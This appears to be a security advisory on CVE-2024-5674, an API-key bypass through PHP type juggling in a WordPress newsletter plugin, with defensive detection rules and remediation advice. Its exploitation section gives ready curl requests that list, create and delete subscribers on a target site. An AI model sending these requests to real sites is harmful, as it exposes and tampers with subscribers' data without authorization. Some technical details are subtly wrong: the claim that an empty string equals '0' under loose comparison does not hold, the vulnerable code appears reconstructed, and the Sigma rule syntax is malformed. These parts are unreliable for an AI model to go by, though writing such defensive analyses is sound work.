CVE-2024-5674

Executive Summary

CVE-2024-5674 is a security vulnerability in the Newsletter - API v1 and v2 addon plugin for WordPress, affecting all versions up to and including 2.4.5. The flaw arises from a PHP type juggling issue in the check_api_key function, which allows unauthenticated attackers to bypass API key validation. This enables unauthorized listing, creation, or deletion of newsletter subscribers. The vulnerability is exploitable only on sites running PHP versions below 8.0, due to changes in type comparison behavior in PHP 8.0+. The CVSS score is 6.5 (Medium), and no public exploit code or patch is currently available.

Supply Chain & Package Security

This vulnerability is specific to the WordPress plugin ecosystem. The plugin is distributed via the official WordPress plugin repository and third-party marketplaces. Users should verify the integrity of their plugin files and monitor for updates from the vendor. No known supply chain compromise has been reported.

CVSS Breakdown & Threat Level

• CVSS Score: 6.5 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: Low (subscriber list exposure)
• Integrity Impact: Low (unauthorized subscriber modifications)
• Availability Impact: None

Threat Level: Medium. The vulnerability allows unauthorized access to subscriber data and manipulation, but does not lead to full site compromise. Exploitation is limited to PHP < 8.0 environments.

Deep Dive & Mechanics

The vulnerability resides in the check_api_key function within the Newsletter API addon. This function is intended to validate API keys before allowing subscriber management operations. However, due to PHP type juggling, the comparison logic can be bypassed.

Root Cause: In PHP versions below 8.0, loose comparison operators (==) can lead to unexpected type coercion. For example, if the API key is compared using == and the stored key is a string like "0", an attacker can pass an empty string or 0 as the key, which PHP evaluates as equal. This allows unauthenticated requests to pass validation.

Affected Code Path:

1. The plugin registers REST API endpoints for subscriber management (list, create, delete).
2. Each endpoint calls check_api_key() to verify the API key from the request.
3. The function uses a loose comparison (==) to compare the provided key with the stored key.
4. If the stored key is empty or a numeric string, type juggling allows bypass.

Impact: An attacker can:

• List all newsletter subscribers (information disclosure).
• Create new subscribers (spam or phishing).
• Delete existing subscribers (denial of service for the newsletter).

Vulnerable vs. Patched Code

Vulnerable Code (PHP < 8.0):

function check_api_key($api_key) {
    $stored_key = get_option('newsletter_api_key');
    if ($api_key == $stored_key) { // Loose comparison
        return true;
    }
    return false;
}

Patched Code (Recommended):

function check_api_key($api_key) {
    $stored_key = get_option('newsletter_api_key');
    if (hash_equals($stored_key, $api_key)) { // Timing-safe strict comparison
        return true;
    }
    return false;
}

Explanation: The patched version uses hash_equals() for a strict, timing-safe comparison. Alternatively, using strict comparison (===) would also prevent type juggling, but hash_equals() is preferred for cryptographic keys.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Target WordPress site with Newsletter API addon <= 2.4.5.
• PHP version < 8.0.
• The API key must be empty or a numeric string (e.g., "0").

Exploitation Steps:

1. Identify the API endpoint (e.g., /wp-json/newsletter/v1/subscribers).
2. Send a request with an empty or 0 API key.
3. If the stored key is empty or "0", the request will be authenticated.

Example cURL (List Subscribers):

curl -X GET "https://target.com/wp-json/newsletter/v1/subscribers" \
  -H "X-API-Key: 0"

Example cURL (Create Subscriber):

curl -X POST "https://target.com/wp-json/newsletter/v1/subscribers" \
  -H "X-API-Key: 0" \
  -H "Content-Type: application/json" \
  -d '{"email":"attacker@example.com"}'

Example cURL (Delete Subscriber):

curl -X DELETE "https://target.com/wp-json/newsletter/v1/subscribers/123" \
  -H "X-API-Key: 0"

Blue Team (Defense & Detection)

Detection:

• Monitor for API requests with unusual or empty API keys.
• Look for spikes in subscriber creation or deletion from unknown IPs.
• Check PHP version; upgrade to PHP 8.0+ to mitigate type juggling.

Honeypot:

• Set a fake API key to a non-numeric string (e.g., "honeypot") and monitor for failed attempts.

Indicators of Compromise (IOCs)

• Network: HTTP requests to /wp-json/newsletter/v1/subscribers with X-API-Key header set to 0, empty, or other numeric values.
• Logs: WordPress debug logs showing failed API key validation attempts.
• Database: Unexpected subscriber entries or deletions in the wp_newsletter table.
• File: Modified plugin files (e.g., newsletter-api.php) if attacker attempts to patch.

Detection Engineering

YARA Rule

rule CVE_2024_5674_Newsletter_API_Type_Juggling {
    meta:
        description = "Detects vulnerable Newsletter API plugin code with loose comparison"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-5674"
    strings:
        $loose_compare = /if\s*\(\s*\$api_key\s*==\s*\$stored_key\s*\)/
        $function_check = "function check_api_key"
    condition:
        $function_check and $loose_compare
}

Sigma Rule

title: CVE-2024-5674 Newsletter API Unauthorized Access
id: 8a3f7c2e-5b1d-4a9e-8c6f-2d3e4f5a6b7c
status: experimental
description: Detects attempts to exploit PHP type juggling in Newsletter API plugin
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET' or 'POST' or 'DELETE'
        cs-uri-query|contains: '/wp-json/newsletter/v1/subscribers'
        cs-headers|contains: 'X-API-Key'
    condition: selection
falsepositives:
    - Legitimate API usage with valid keys
level: medium

Suricata Rule

alert http any any -> any any (
    msg:"CVE-2024-5674 Newsletter API Unauthorized Access Attempt";
    flow:to_server;
    content:"/wp-json/newsletter/v1/subscribers";
    http_uri;
    content:"X-API-Key";
    http_header;
    pcre:"/X-API-Key:\s*(0|)$/i";
    sid:1000001;
    rev:1;
    reference:cve,2024-5674;
)

Remediation & Mitigation

Immediate Actions:

1. Upgrade PHP: Ensure the server runs PHP 8.0 or later to prevent type juggling.
2. Disable API: Temporarily disable the Newsletter API addon if not needed.
3. Set Strong API Key: Configure a non-numeric, complex API key (e.g., UUID) to reduce bypass risk.

Long-Term Fix:

• Apply a patch from the vendor once available.
• Replace loose comparison (==) with strict comparison (===) or hash_equals() in the plugin code.

Workaround:

• Use a Web Application Firewall (WAF) rule to block requests with empty or numeric API keys.

Valters IT